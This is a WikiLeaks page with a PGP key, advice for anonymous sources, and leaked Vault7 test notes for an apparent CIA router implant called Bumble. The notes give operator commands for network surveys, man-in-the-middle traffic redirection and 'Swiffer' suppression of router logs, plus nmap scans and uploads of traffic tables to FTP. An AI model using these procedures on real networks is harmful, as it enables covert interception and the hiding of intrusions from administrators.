This key's fingerprint is A04C 5E09 ED02 B328 03EB 6116 93ED 732E 9231 8DBA

-----BEGIN PGP PUBLIC KEY BLOCK-----

mQQNBFUoCGgBIADFLp+QonWyK8L6SPsNrnhwgfCxCk6OUHRIHReAsgAUXegpfg0b
rsoHbeI5W9s5to/MUGwULHj59M6AvT+DS5rmrThgrND8Dt0dO+XW88bmTXHsFg9K
jgf1wUpTLq73iWnSBo1m1Z14BmvkROG6M7+vQneCXBFOyFZxWdUSQ15vdzjr4yPR
oMZjxCIFxe+QL+pNpkXd/St2b6UxiKB9HT9CXaezXrjbRgIzCeV6a5TFfcnhncpO
ve59rGK3/az7cmjd6cOFo1Iw0J63TGBxDmDTZ0H3ecQvwDnzQSbgepiqbx4VoNmH
OxpInVNv3AAluIJqN7RbPeWrkohh3EQ1j+lnYGMhBktX0gAyyYSrkAEKmaP6Kk4j
/ZNkniw5iqMBY+v/yKW4LCmtLfe32kYs5OdreUpSv5zWvgL9sZ+4962YNKtnaBK3
1hztlJ+xwhqalOCeUYgc0Clbkw+sgqFVnmw5lP4/fQNGxqCO7Tdy6pswmBZlOkmH
XXfti6hasVCjT1MhemI7KwOmz/KzZqRlzgg5ibCzftt2GBcV3a1+i357YB5/3wXE
j0vkd+SzFioqdq5Ppr+//IK3WX0jzWS3N5Lxw31q8fqfWZyKJPFbAvHlJ5ez7wKA
1iS9krDfnysv0BUHf8elizydmsrPWN944Flw1tOFjW46j4uAxSbRBp284wiFmV8N
TeQjBI8Ku8NtRDleriV3djATCg2SSNsDhNxSlOnPTM5U1bmh+Ehk8eHE3hgn9lRp
2kkpwafD9pXaqNWJMpD4Amk60L3N+yUrbFWERwncrk3DpGmdzge/tl/UBldPoOeK
p3shjXMdpSIqlwlB47Xdml3Cd8HkUz8r05xqJ4DutzT00ouP49W4jqjWU9bTuM48
LRhrOpjvp5uPu0aIyt4BZgpce5QGLwXONTRX+bsTyEFEN3EO6XLeLFJb2jhddj7O
DmluDPN9aj639E4vjGZ90Vpz4HpN7JULSzsnk+ZkEf2XnliRody3SwqyREjrEBui
9ktbd0hAeahKuwia0zHyo5+1BjXt3UHiM5fQN93GB0hkXaKUarZ99d7XciTzFtye
/MWToGTYJq9bM/qWAGO1RmYgNr+gSF/fQBzHeSbRN5tbJKz6oG4NuGCRJGB2aeXW
TIp/VdouS5I9jFLapzaQUvtdmpaeslIos7gY6TZxWO06Q7AaINgr+SBUvvrff/Nl
l2PRPYYye35MDs0b+mI5IXpjUuBC+s59gI6YlPqOHXkKFNbI3VxuYB0VJJIrGqIu
Fv2CXwy5HvR3eIOZ2jLAfsHmTEJhriPJ1sUG0qlfNOQGMIGw9jSiy/iQde1u3ZoF
so7sXlmBLck9zRMEWRJoI/mgCDEpWqLX7hTTABEBAAG0x1dpa2lMZWFrcyBFZGl0
b3JpYWwgT2ZmaWNlIEhpZ2ggU2VjdXJpdHkgQ29tbXVuaWNhdGlvbiBLZXkgKFlv
dSBjYW4gY29udGFjdCBXaWtpTGVha3MgYXQgaHR0cDovL3dsY2hhdGMzcGp3cGxp
NXIub25pb24gYW5kIGh0dHBzOi8vd2lraWxlYWtzLm9yZy90YWxrKSA8Y29udGFj
dC11cy11c2luZy1vdXItY2hhdC1zeXN0ZW1Ad2lraWxlYWtzLm9yZz6JBD0EEwEK
ACcCGwMFCwkIBwMFFQoJCAsFFgIDAQACHgECF4AFAlb6cdIFCQOznOoACgkQk+1z
LpIxjbrlqh/7B2yBrryWhQMGFj+xr9TIj32vgUIMohq94XYqAjOnYdEGhb5u5B5p
BNowcqdFB1SOEvX7MhxGAqYocMT7zz2AkG3kpf9f7gOAG7qA1sRiB+R7mZtUr9Kv
fQSsRFPb6RNzqqB9I9wPNGhBh1YWusUPluLINwbjTMnHXeL96HgdLT+fIBa8ROmn
0fjJVoWYHG8QtsKiZ+lo2m/J4HyuJanAYPgL6isSu/1bBSwhEIehlQIfXZuS3j35
12SsO1Zj2BBdgUIrADdMAMLneTs7oc1/PwxWYQ4OTdkay2deg1g/N6YqM2N7rn1W
7A6tmuH7dfMlhcqw8bf5veyag3RpKHGcm7utDB6k/bMBDMnKazUnM2VQoi1mutHj
kTCWn/vF1RVz3XbcPH94gbKxcuBi8cjXmSWNZxEBsbirj/CNmsM32Ikm+WIhBvi3
1mWvcArC3JSUon8RRXype4ESpwEQZd6zsrbhgH4UqF56pcFT2ubnqKu4wtgOECsw
K0dHyNEiOM1lL919wWDXH9tuQXWTzGsUznktw0cJbBVY1dGxVtGZJDPqEGatvmiR
o+UmLKWyxTScBm5o3zRm3iyU10d4gka0dxsSQMl1BRD3G6b+NvnBEsV/+KCjxqLU
vhDNup1AsJ1OhyqPydj5uyiWZCxlXWQPk4p5WWrGZdBDduxiZ2FTj17hu8S4a5A4
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
J3x7gtxUMkTadELqwY6hrU8=
=BLTH
-----END PGP PUBLIC KEY BLOCK-----
		

Contact

If you need help using Tor you can contact WikiLeaks for assistance in setting it up using our simple webchat available at: https://wikileaks.org/talk

If you can use Tor, but need to contact WikiLeaks for other reasons use our secured webchat available at http://wlchatc3pjwpli5r.onion

We recommend contacting us over Tor if you can.

Tor

Tor is an encrypted anonymising network that makes it harder to intercept internet communications, or see where communications are coming from or going to.

In order to use the WikiLeaks public submission system as detailed above you can download the Tor Browser Bundle, which is a Firefox-like browser available for Windows, Mac OS X and GNU/Linux and pre-configured to connect using the anonymising system Tor.

Tails

If you are at high risk and you have the capacity to do so, you can also access the submission system through a secure operating system called Tails. Tails is an operating system launched from a USB stick or a DVD that aim to leaves no traces when the computer is shut down after use and automatically routes your internet traffic through Tor. Tails will require you to have either a USB stick or a DVD at least 4GB big and a laptop or desktop computer.

Tips

Our submission system works hard to preserve your anonymity, but we recommend you also take some of your own precautions. Please review these basic guidelines.

1. Contact us if you have specific problems

If you have a very large submission, or a submission with a complex format, or are a high-risk source, please contact us. In our experience it is always possible to find a custom solution for even the most seemingly difficult situations.

2. What computer to use

If the computer you are uploading from could subsequently be audited in an investigation, consider using a computer that is not easily tied to you. Technical users can also use Tails to help ensure you do not leave any records of your submission on the computer.

3. Do not talk about your submission to others

If you have any issues talk to WikiLeaks. We are the global experts in source protection – it is a complex field. Even those who mean well often do not have the experience or expertise to advise properly. This includes other media organisations.

After

1. Do not talk about your submission to others

If you have any issues talk to WikiLeaks. We are the global experts in source protection – it is a complex field. Even those who mean well often do not have the experience or expertise to advise properly. This includes other media organisations.

2. Act normal

If you are a high-risk source, avoid saying anything or doing anything after submitting which might promote suspicion. In particular, you should try to stick to your normal routine and behaviour.

3. Remove traces of your submission

If you are a high-risk source and the computer you prepared your submission on, or uploaded it from, could subsequently be audited in an investigation, we recommend that you format and dispose of the computer hard drive and any other storage media you used.

In particular, hard drives retain data after formatting which may be visible to a digital forensics team and flash media (USB sticks, memory cards and SSD drives) retain data even after a secure erasure. If you used flash media to store sensitive data, it is important to destroy the media.

If you do this and are a high-risk source you should make sure there are no traces of the clean-up, since such traces themselves may draw suspicion.

4. If you face legal action

If a legal action is brought against you as a result of your submission, there are organisations that may help you. The Courage Foundation is an international organisation dedicated to the protection of journalistic sources. You can find more details at https://www.couragefound.org.

WikiLeaks publishes documents of political or historical importance that are censored or otherwise suppressed. We specialise in strategic global publishing and large archives.

The following is the address of our secure site where you can anonymously upload your documents to WikiLeaks editors. You can only access this submissions system through Tor. (See our Tor tab for more information.) We also advise you to read our tips for sources before submitting.

wlupld3ptjvsgwqw.onion
Copy this address into your Tor browser. Advanced users, if they wish, can also add a further layer of encryption to their submission using our public PGP key.

If you cannot use Tor, or your submission is very large, or you have specific requirements, WikiLeaks provides several alternative methods. Contact us to discuss how to proceed.

Vault7: CIA Hacking Tools Revealed

Navigation: » Latest version


Owner: User #14587667

Bumble 3.1 Test Notes

Test Summary

  • Downloaded and installed COGComputer Operations Group ICON Debian 8.1 image. 
  • CT 2.7 which was delieved is compatible with current ICON image.
  • MTU settings
    • CT MTUMaximum Transmission Unit setting can not go below 120 bytes.
    • Egress from Atk setting delaysim MTU<=108 and CTCounter Terrorism MTU<128 allows CTCounter Terrorism to connect, but states "currenct packet size restrictions are incompatible with selected Score protocol".
    • Ingress to Atk MTU<=508Bytes.
  • Score requires a minimum MTUMaximum Transmission Unit of 480Bytes for return traffic (from implant to CTCounter Terrorism).  
  • Flux will not be used with this tool so it will not be tested with flux.

Progress/Notes

  • Sample survey commands:
    • tp survey create 192.0.0.0 255.0.0.0 0 0.0.0.0 0.0.0.0 0 icmp -en

    • tp survey create 192.0.0.0  255.0.0.0  0  0.0.0.0  0.0.0.0  0 tcp -en

  • Sample redirection rule:
    • redir create 10.1.243.2 255.255.255.255 0 0 XXX.X.XXX.XXX (JUMPSTART-5[US]) 255.255.255.255 0 0 tcp 10.1.243.2 0 XXX.X.XXX.XXX (JUMPSTART-5[US]) 0 0 -en
  • Sample traffic shaping:
    • sudo tc qdisc add dev eth0 root netem delay 2.5s 0.5s loss 25% 25% duplicate 2% corrupt 3% reorder 25% 50%
    • sudo ip link set eth0 mtu 128

Tests

  1. Smoke Tests
    1. Install PBD and Establish Comms
      1. Refer to Bumble command script on share.
      2. Inspect logbuffer for logs left by patch installation
        1. dis logbuffer reverse
        2. dis logbuffer summary
        3. dis history-command all
      3. Successfully tested with Bumble 3.1 on 10/28/2015 (w/o latency) and 11/3/2015 (w latency).
    2. Survey - ct_pt1-survey.exp
      1. Reboot DUT, install implant, establish comms via CT.
      2. Confirm implant is installed and activate score
      3. tp cmd "pbd probe"
      4. module show
      5. redir show
      6. module start score
      7. module show (confirm score is activated)
      8. redir show (there should be no rules)
      9. Add survey rule: tp survey create XXX.X.XXX.X (JUMPSTART-5[US]) 255.255.255.0 0 0.0.0.0 0.0.0.0 0 tcp -en
      10. redir show
      11. <sleep for 20 seconds to allow time to survey>
      12. Retrieve trans table: tp showtrans
      13. quit
      14. Successfully tested with Bumble 3.1 on 10/28/2015  (w/o latency) and 11/3/2015 (w latency).
    3. Redirection (MitM) - ct_pt2-redir.exp
      1. Reboot DUT, install implant, establish comms via CT.
      2. Confirm implant is installed and activate score (see Test 2 for commands to run)
      3. Retrieve orignal web page from WWW3: wget --output-document=-=- --no-check-certificate -T 90 http://XXX.XXX.X.XX (GB)
        1. Confirm that the webpage of WWW3 is retrieved
      4. Add redir rule: redir create 192.168.254.6 255.255.255.255 0 0 XXX.XXX.X.XX (GB) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0
      5. Source IP/Mask: 192.168.254.6/32  - Atk VM
      6. Source Port Range: 0 0 (any)
      7. Destination IP/Mask: XXX.XXX.X.XX (GB)/32  - WWW3
      8. Destination Port Range: 0 0 (any)
      9. Protocol: TCP
      10. New Source IP:Port: 192.168.254.6:0  - Atk VM
      11. New Destination IP:Port: XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]):0  - WWW4
      12. TTL: 0 (don't change)
      13. redir show
      14. Retrieve orignal web page from WWW3: wget --output-document=-=- --no-check-certificate -T 90 http://XXX.XXX.X.XX (GB)
        1. Should be redirected to WWW4.
      15. Successfully tested with Bumble 3.1 on 10/28/2015 (w/o latency) and 11/3/2015 (w latency).
    4. Redirection - automatically disable filter after 5 minutes
      1. Delete old redir rules: redir delete 0
      2. wget --output-document=- --no-check-certificate -T 90 http://XXX.XXX.X.XX (GB)
        1. Confirm that the webpage of WWW3 is retrieved
      3. Add redir rule: redir create 192.168.254.6 255.255.255.255 0 0 XXX.XXX.X.XX (GB) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -t 300 -en
      4. redir show
      5. Retrieve orignal web page from WWW3: wget --output-document=-=- --no-check-certificate -T 90 http://XXX.XXX.X.XX (GB)
        1. Should be redirected to WWW4.
      6. Wait 5 minutes
      7. wget --output-document=-=- --no-check-certificate -T 90 http://XXX.XXX.X.XX (GB)
        1. Confirm that the webpage of WWW3 is retrieved
      8. Successfully tested with Bumble 3.1 on 11/12/2015 (w/o latency) and 11/12/2015 (w latency).
    5. Transaction Table rollover
      1. Reboot DUT, install implant, establish comms via CT.
      2. Start score: module start score
      3. Configure transtable aging time to 1 second: tp filter -t 1
      4. From Atk: wget --output-document=- http://XXX.XXX.X.XX (GB)
        1. Response should be from Bumble webserver #3 - XXX.XXX.X.XX (GB)
      5. Add redir rule: redir create 192.168.254.6 255.255.255.255 0 0 XXX.XXX.X.XX (GB) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
      6. Test redir rule: wget --output-document=- http://XXX.XXX.X.XX (GB)
        1. Response should be from Bumble webserver #4 - XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US])
      7. Fill up transtable by running the "enterprise" profile on the Ixia.  Also add a survey rule: tp survey create 192.0.0.0 255.0.0.0 0 0.0.0.0 0.0.0.0 0 tcp -en
      8. Check if redir still functions correctly: wget --output-document=- http://XXX.XXX.X.XX (GB)
      9. Response should be from Bumble webserver #4 - XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US])
      10. To futher confirm, check transtable using the command "tp showtrans" and take a snapshow of the first 10 entries.
      11. Wait 10 seconds and check the transtable again.  Compare the first 10 entries with the snapshot you took.  The entries should be unique.  With the ixia running, enough entries should be created in a few seconds to cause the transtable to cycle.
      12. Successfully tested with Bumble 3.1 on 10/30/2015  (w/o latency).
    6. Swiffer - Log Suppression
      1. Reboot DUT, install implant, establish comms via CT.
        1. Insure swiffer is inactive:  tp swiffer show
      2. Telnet to MSR and issue these commands:
        1. display this
        2. display users
        3. display tcp
        4. display logbuffer reverse
        5. display history-command all
        6. These commands should appear in the logbuffer and history command
      3. Activate swiffer at the CTCounter Terrorism prompt
        1. tp swiffer activate
        2. tp swiffer show
      4. At the MSR console and telnet prompt:
        1. Confirm info-center is disabled:  display info-center
        2. display clock
        3. display ftp client source
        4. display interface brief
        5. display ip routing-table
      5. At the MSR console, issue thes commands
        1. Confirm there was no console message about the user connecting via telnet
        2. Confirm recent commands were not logged to log buffer:  display logbuffer reverse
        3. Confirm recent commands are logged to history:  display history-command all
          1. Disabling the info-center will not disable the command history logging.  This is the reason for a snapshot of the history command file to be saved.  The saved history file will overwrite this history when Swiffer is deactivated.
          2. This will also disable logging if a target admin issues commands.  There is no way to distinguish who is issuing the command.
      6. Deactivate Swiffer using CT.  Deactivating Swiffer restores the snapshot to the command history
        1. tp swiffer deactivate
        2. Wait 5 seconds and confirm swiffer is deactivated:  tp swiffer show
      7. At the MSR console and telnet prompt, confirm logs were removed
        1. display logbuffer reverse
        2. display history-command all
      8. Successfully tested with Bumble 3.1 on 10/30/2015  (w/o latency).
    7. Swiffer - automatic deactivation
      1. At console: reset logbuffer
      2. ICON: Note the time using the 'date' command
      3. ICON: tp swiffer activate -t 300
      4. Wait 10 seconds
      5. ICON: tp swiffer show  
        1. should be activated
      6. ICON: telnet 192.168.168.5
      7. ICON: display info-center
      8. ICON: dis this
      9. ICON: dis users
      10. At console: dis ip int brief
      11. At console: display history-command all
      12. display logbuffer reverse
      13. Wait until 5 minutes have expired.
      14. Ensure logs have been removed and swiffer deactivated
        1. At console: display history-command all
        2. At console: display logbuffer reverse
        3. ICON: tp swiffer show 
          1. should be inactive
      15. Successfully tested with Bumble 3.1 on 10/30/2015  (w/o latency)
    8. Redir - Disable all rules then re-enable all rules
      1. Disable all redir rules:  redir disable 0
      2. Confirm rules disabled:  redir show
      3. Enable all redir rules:  redir enable 0
      4. Check that redir rules are working.
      5. Successfully tested with Bumble 3.1 on 10/30/2015  (w/o latency).
    9. Save transtable to ftp server
      1. Save transtable
        1. tp savetrans ftp://administrator:password@XXX.XXX.XXX.X (DNIC-RNET-192-100-100[US])/transtable.bin -td 30
      2. Confirm transtable exists on FTPFile Transfer Protocol server and then delete.
      3. Save transtable again
        1. tp savetrans ftp://administrator:password@XXX.XXX.XXX.X (DNIC-RNET-192-100-100[US])/transtable.bin -td 30
      4. Confirm transtable exists on FTPFile Transfer Protocol server and then delete.
      5. Successfully tested with Bumble 3.1 on 10/30/2015  (w/o latency) and 11/3/2015 (w latency).
    10. Save transtable to filesystem
      1. Initial install

      2. Save transtable to filesystem

        1. tp savetrans file:/logfile/.transtable.bin -td 5 -t 3600

        2. dir /all cfa0:/logfile

      3. Delete file from filesystem

        1. delete cfa0:/logfile/.transtable.bin

      4. Save transtable to filesystem.  Can not save transtable to filesystem more than once until autodelete time expires.

      5. Successfully tested with Bumble 3.1 on 11/4/2015  (w/o latency).
    11. Save transtable to filesystem if file already exists
      1. Repeat previous steps to save transtable to filesystem, but do not delete file.
      2. Save file again.  Issue command "dir /all cfa0:/logfile"File time should be updated to the current time indicating file was re-written.
      3. Successfully tested with Bumble 3.1 on 11/4/2015  (w/o latency) and 11/4/2015 (w/ latency).
  2. Redirection Test - ACLAccess Control List circumvention
    1. Not plausible with current implant hook point
  3. Redirection Test (Lack of route on downstream router) 
    1. Single Rule - ct_pt3-redir.exp (script starts at step iv)
      1. Add default route to ASR:  ip route 0.0.0.0 0.0.0.0 XXX.XXX.XX.X (EU-MAP-5[US]) name To_MSR
      2. From atk VM, ping XXX.XXX.XX.X (EU-MAP-5[US]).  It should be successful.
      3. Remove default route from ASR:  no ip route 0.0.0.0 0.0.0.0 XXX.XXX.XX.X (EU-MAP-5[US]) name To_MSR
      4. From atk VM, ping XXX.XXX.XX.X (EU-MAP-5[US]).  It should fail.
      5. Add redir rule:  redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
      6. From atk VM, ping XXX.XXX.XX.X (EU-MAP-5[US]). It should be successful.
      7. Successfully tested with Bumble 3.1 on 10/28/2015  (w/o latency) and 11/3/2015 (w latency).
    2. Multiple Rules
      1. Repeat steps from previous test.  Use the following rules:
        1. Loopback on ASR1002:  redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
        2. WWW4 behind ASR:       redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
        1. Successfully tested with Bumble 3.1 on 10/30/2015  (w/o latency).
  4. Redirection Test - Only specified protocol gets redirected / Lack of routes on MSR
    1. Ensure all redir rules are disabled/deleted.
    2. Attempt to retrieve webpage from Atk VM:   wget --output-document=- http://XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US])    This should NOT be able to successfully retreive the webpage.
    3. Add redirection rule to allow TCPTransport Control Protocol from Atk VMVirtual Machine to WWW4 behind ASR:   redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 tcp XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
    4. Retrieve webpage from Atk VM:   wget --output-document=- http://XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US])    This should successfully retreive the webpage.
    5. From Atk VM, ping XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]).  You should not get a ping response.
    6. Successfully tested with Bumble 3.1 on 10/30/2015  (w/o latency).
  5. Redirection Test - NMAPNetwork security scanner SYNFlag in TCP/IP Protocol Scan (all ports)
    1. Not testing since nmap will not be used to do large scans.
  6. Redirection Test - NMAPNetwork security scanner SYNFlag in TCP/IP Protocol Scan (< 15 ports) - ct_pt4-nmap.exp
    1. Start IXIA traffic (??)
    2. Should not be able to ping XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]), .2, .10 (/24) from Atk VM
    3. Set the transtable to timeout after 1 second so that redir rules don't get disabled:  tp filter -t 1
    4. Add the following redir rules:  
      1. redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
      2. redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
      3. redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
    5. You should not be able to ping XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]), .2, .10 (/24) from Atk VM:   sudo nmap -sP XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) --mtu 96 --stats-every 5m --min-rtt-timeout 7s
    6. Run the following nmap commands:
      1. Check for open services/ports:  sudo nmap -sS XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) -p 21,22,23,25,53,80,110,443,3389 --mtu 96 --stats-every 10m --min-rtt-timeout 7s

    7. Successfully tested with Bumble 3.1 on 10/28/2015  (w/o latency) and 11/3/2015 (w latency).
  7. Swiffer (while redir rules enabled)
    1. Repeat redir test (ct_pt4-nmap.exp) and leave it running.  
    2. Activate swiffer
      1. tp swiffer activate
    3. From ICON, connect to target via telnet and execute "dis run", "dis clock", and "dis ip rout"
    4. Disconnect from telnet session.
    5. Deactivate swiffer
    6. Inspect logfile and logbuffer for any traces of telnet connection
    7. Successfully tested with Bumble 3.1 on 10/30/2015  (w/o latency).
  8. Swiffer - Multiple Telnet sessions opened simultaneously (ICON session closed first)
    1. Confirm all logs get deleted if there are two telnet open sessions but one session close.  It is assumed that swiffer will start and stop logging when the command is issued, but need to confirm.
    2. From ICON
      1. tp swiffer activate
      2. telnet 192.168.168.5
      3. dis users
      4. dis cellular
    3. From VM#1
      1. telnet 192.168.168.5
      2. dis ddns policy
    4. From ICON
      1. quit telnet session
      2. tp swiffer deactivate
    5. From MSR Console
      1. dis history-command all
      2. dis logbuffer reverse
